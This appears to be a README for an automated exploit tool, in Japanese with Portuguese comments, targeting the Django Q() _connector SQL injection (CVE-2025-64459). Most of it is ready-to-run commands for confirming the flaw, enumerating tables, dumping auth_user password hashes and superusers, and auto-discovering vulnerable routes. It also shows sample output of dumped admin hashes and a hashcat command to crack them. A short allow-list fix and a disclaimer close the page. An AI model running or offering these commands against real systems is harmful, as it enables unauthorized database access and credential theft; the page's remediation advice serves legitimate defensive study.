
NEO-SQLi — Django _connector SQLインジェクション(CVE-2025-64459)を悪用する | RedTeam Brasilチャンネル
Django ORM の SQL インジェクション自動攻撃
Q オブジェクト _connector · CVE-2025-64459
🎥 RedTeam Brasil チャンネル — オフェンシブセキュリティを、実際に、ポルトガル語で。
██████╗ ████████╗██████╗ connector-sqli
██╔══██╗╚══██╔══╝██╔══██╗ Django Q() `_connector` SQLi
██████╔╝ ██║ ██████╔╝ CVE-2025-64459
██╔══██╗ ██║ ██╔══██╗ canal RedTeam Brasil
██║ ██║ ██║ ██████╔╝ youtube.com/@RedTeamBrasil
╚═╝ ╚═╝ ╚═╝ ╚═════╝ uso autorizado apenas
Django の ORM は Q() オブジェクトでフィルタを組み立てます。コンストラクタ
Q(*args, _connector=None, _negated=False, **kwargs) は特別な kwarg
_connector を受け付けます — WHERE 内の条件を連結する文字列(AND/OR)です。
影響を受けるバージョンでは、この値はサニタイズされておらず、生のまま SQL に渡されていました。
アプリケーションが辞書展開を介してユーザー入力を Q() / .filter() /
.exclude() / .get() に直接渡す場合 — 古典的なアンチパターン:
# ❌ VULNERÁVEL
posts = Post.objects.filter(Q(**request.GET)) # ou .filter(**request.GET)
…攻撃者は _connector を制御し、条件間に任意の SQL を注入します
(SQLite、PostgreSQL、MySQL などでも有効)。
DEBUG = Trueの場合、悪用はさらに簡単になります:Django のエラーページが 組み立て済みの SQL、ベーステーブル、列数を返します — ツールが UNION を 自力で組み立てるために使う、まさにその情報です。
汎用(特定のターゲットに縛られない)かつ自動化されたエクスプロイタ:
--auto):ホームのクロール + robots/sitemap + 内蔵ワードリストで、各ルートを Django の FieldError でテスト。FieldError 経由で脆弱なエンドポイントと DEBUG=True を検出。--proxy による Burp/mitmproxy)と HTTPS ターゲット。git clone https://github.com/rafaelchriss/RedTeamBrasil-CVE-2025-64459.git
cd RedTeamBrasil-CVE-2025-64459
pip install -r requirements.txt
chmod +x rtb_connector_sqli.py
# 1) confirmar a falha
python3 rtb_connector_sqli.py -u http://ALVO check
# 2) listar tabelas
python3 rtb_connector_sqli.py -u http://ALVO tables
# 3) listar colunas de uma tabela
python3 rtb_connector_sqli.py -u http://ALVO columns auth_user
# 4) dumpar (colunas específicas ou todas)
python3 rtb_connector_sqli.py -u http://ALVO dump auth_user --cols username,password,is_superuser
python3 rtb_connector_sqli.py -u http://ALVO dump auth_user --where "is_superuser=1"
# 5) atalho pros usuários do Django
python3 rtb_connector_sqli.py -u http://ALVO users
# 6) expressão SQL livre
python3 rtb_connector_sqli.py -u http://ALVO query "sqlite_version()"
# 7) MODO INTERATIVO (menu tabela → colunas → dump)
python3 rtb_connector_sqli.py -u http://ALVO shell
# 8) NÃO SABE A ROTA? deixa ele achar sozinho
python3 rtb_connector_sqli.py -u http://ALVO auto # só descobre e lista
python3 rtb_connector_sqli.py -u http://ALVO --auto shell # descobre e já explora
--auto(またはサブコマンドauto)を使用すると、ホームのクロール +robots.txt/sitemap.xmlを実行し、リスト表示/検索ルートの内蔵ワードリスト(EN + PT-BR + API)を試行して、Django のFieldErrorを返すルートをマークします。間違った--pathを渡すと、自動的に発見モードにフォールバックします。
# tudo pelo Burp
python3 rtb_connector_sqli.py -u http://ALVO --proxy http://127.0.0.1:8080 users
# ou por variável de ambiente (sem a flag)
export HTTP_PROXY=http://127.0.0.1:8080 HTTPS_PROXY=http://127.0.0.1:8080
python3 rtb_connector_sqli.py -u http://ALVO shell
[*] Alvo: http://ALVO/list
[+] Campos do model (6): author, content, created_at, id, status, title
[+] SQLi confirmada no `_connector` (CVE-2025-64459). near "'RTB'": syntax error
[+] Tabela base: <app>_<model> · colunas no SELECT: 6
[+] Coluna refletida (leitura): posição 4
┌── auth_user (N)
│ admin | pbkdf2_sha256$600000$<salt>$<hash>= | is_superuser=1 | admin@target
└──
スーパーユーザーのハッシュを入手したら:
hashcat -m 10000 hash.txt rockyou.txt # Django usa pbkdf2_sha256
request.GET を Q()/.filter() に直接渡さない。許可リストを使う:
ALLOWED = {"title__icontains", "status"}
safe = {k: v for k, v in request.GET.items() if k in ALLOWED}
Post.objects.filter(**safe)
DEBUG = False(SQL / テーブル / 設定情報を漏らさない)。教育用ツールであり、許可されたテスト専用です(ラボ、CTF、スコープ内のバグバウンティ、契約済みペンテスト)。明示的な許可なくシステムに対して使用することは犯罪です — 責任はすべてあなた自身にあります。
RedTeam Brasil により制作 · 気に入ったら高評価とチャンネル登録をお願いします。
| 項目 | 詳細 |
|---|
| CVE | CVE-2025-64459 |
| コンポーネント | django.db.models — Q() / QuerySet(_connector と列エイリアス) |
| 影響を受けるバージョン | Django < 4.2.26、< 5.1.14、< 5.2.8 |
| 修正 | 4.2.26 / 5.1.14 / 5.2.8(またはそれ以降)に更新 |
| 影響 | データベースの任意読み取り(UNION / blind)→ 認証情報のダンプと攻撃チェーンの拡大 |
| フラグ | 用途 |
|---|
--path /buscar | 脆弱なエンドポイント(デフォルト /list) |
--auto | エンドポイントを自動発見(クロール + ワードリスト) |
--wordlist rotas.txt | 発見用の追加ルート(1行に1つ) |
--base app_model | ベーステーブルを強制指定(自動検出が失敗した場合) |
--proxy http://127.0.0.1:8080 | すべてを Burp / mitmproxy に送信 |